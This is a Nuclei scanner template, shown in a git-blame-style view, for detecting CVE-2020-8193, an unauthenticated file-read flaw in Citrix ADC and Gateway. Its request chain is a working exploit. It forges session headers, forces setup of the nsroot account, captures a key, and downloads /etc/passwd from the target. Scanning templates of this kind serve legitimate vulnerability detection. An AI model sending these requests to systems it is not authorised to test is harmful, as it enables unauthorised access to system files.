nuclei-templates/cves/2020/CVE-2020-8193.yaml

76 lines
2.2 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-8193
2020-07-11 10:15:20 +00:00
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: medium
description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.
2021-03-16 15:19:01 +00:00
reference:
2021-03-16 15:08:01 +00:00
- https://github.com/jas502n/CVE-2020-8193
- http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
- https://support.citrix.com/article/CTX276688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2020-8193
cwe-id: CWE-862
tags: cve,cve2020,citrix,lfi,cisa
2020-07-11 10:15:20 +00:00
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
2020-08-02 12:58:07 +00:00
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: {{randkey}}
2020-08-02 12:58:07 +00:00
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: {{randkey}}
2020-08-02 12:58:07 +00:00
<clipermission></clipermission>
cookie-reuse: true
extractors:
- type: regex
name: randkey # dynamic variable
2020-08-02 12:58:07 +00:00
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
2020-07-11 10:15:20 +00:00
matchers:
2020-08-02 12:58:07 +00:00
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
part: body